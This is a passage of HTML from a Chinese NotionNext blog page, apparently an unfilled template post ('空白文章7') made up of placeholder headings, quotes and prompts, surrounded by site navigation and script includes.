2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-callout notion-gray_background_co notion-block-b2c580c4ce96432db118a0ad20cbe1c5"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="😀">😀</span></div><div class="notion-callout-text">这里写文章的前言:
+一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"/><meta name="twitter:title" content="空白文章7 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="未"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">空白文章7</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-d43cadd538cc48cea44d188a8215cd7d"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-callout notion-gray_background_co notion-block-b2c580c4ce96432db118a0ad20cbe1c5"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="😀">😀</span></div><div class="notion-callout-text">这里写文章的前言:
 一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。<div class="notion-text notion-block-38d0d5777b834df4ba9ec0d0010765da">可以说说你的故事:阻碍、努力、结果成果,意外与转折。</div></div></div><div class="notion-blank notion-block-deba1e596d474adaa31444559c4f6b0c"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-441bdeda2261415c9b9002c122c121e4" data-id="441bdeda2261415c9b9002c122c121e4"><span><div id="441bdeda2261415c9b9002c122c121e4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#441bdeda2261415c9b9002c122c121e4" title="📝 主旨内容"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">📝 主旨内容</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-bf92f4063a1644129369f5edb6003e29" data-id="bf92f4063a1644129369f5edb6003e29"><span><div id="bf92f4063a1644129369f5edb6003e29" class="notion-header-anchor"></div><a class="notion-hash-link" href="#bf92f4063a1644129369f5edb6003e29" title="观点1"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">观点1</span></span></h3><blockquote class="notion-quote notion-block-1ddbb042788f4005befc3c30e63918e6"><div>引用的话语</div></blockquote><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-6fc73c2fca2746c49e76e8f767132e2b" data-id="6fc73c2fca2746c49e76e8f767132e2b"><span><div id="6fc73c2fca2746c49e76e8f767132e2b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#6fc73c2fca2746c49e76e8f767132e2b" title="观点2"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">观点2</span></span></h3><blockquote class="notion-quote notion-block-d5803e5d12ec4b18833be6822d98fa35"><div>引用的话语</div></blockquote><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-63c977460bd94d2f8156801620c97f5c" data-id="63c977460bd94d2f8156801620c97f5c"><span><div id="63c977460bd94d2f8156801620c97f5c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#63c977460bd94d2f8156801620c97f5c" title="🤗 总结归纳"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">🤗 总结归纳</span></span></h2><div class="notion-text notion-block-78957a638c784cad8e88ea846ae3923e">总结文章的内容</div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-5410740b79704e0993dd615a87d752b1" data-id="5410740b79704e0993dd615a87d752b1"><span><div id="5410740b79704e0993dd615a87d752b1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#5410740b79704e0993dd615a87d752b1" title="📎 参考文章"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">📎 参考文章</span></span></h2><ul class="notion-list notion-list-disc notion-block-5cec45b0794e4344812bb0c8e4740cc9"><li>一些引用</li></ul><ul class="notion-list notion-list-disc notion-block-ad8c852b45ac4cfda0f804e364cc9311"><li>引用文章</li></ul><div class="notion-blank notion-block-8999dbca36064af48f6f5581cd3e6113"> </div><div class="notion-callout notion-gray_background_co notion-block-6d026f65ee534d6ab31be7a374565243"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="💡">💡</span></div><div class="notion-callout-text">有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~</div></div></main></div><div class="m-1 overflow-x-auto"><div class="flex w-full md:justify-end"></div></div><div class="flex justify-between"><div></div></div><section class="text-gray-800 dark:text-gray-400 h-12 flex items-center justify-between space-x-5 my-4"><a class="text-sm cursor-pointer justify-start items-center flex hover:underline duration-300" href="/article/example"><i class="mr-1 fas fa-angle-double-left"></i>示例文章</a><a class="text-sm cursor-pointer justify-end items-center flex hover:underline duration-300" href="/article/240325-ollama">mac体验ollama本地大模型<i class="ml-1 my-1 fas fa-angle-double-right"></i></a></section><div id="comment" class="comment mt-5 text-gray-800 dark:text-gray-300 "></div></section><div id="gitbook-toc-float" class="fixed top-0 right-0 z-40 md:hidden"><div class=" -mr-72 animate__slideOutRight overflow-y-hidden shadow-card w-60 duration-200 fixed right-1 bottom-16 rounded py-2 bg-white dark:bg-hexo-black-gray"><div class="dark:text-gray-400 text-gray-600 h-96 p-3"></div></div></div><div id="right-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white 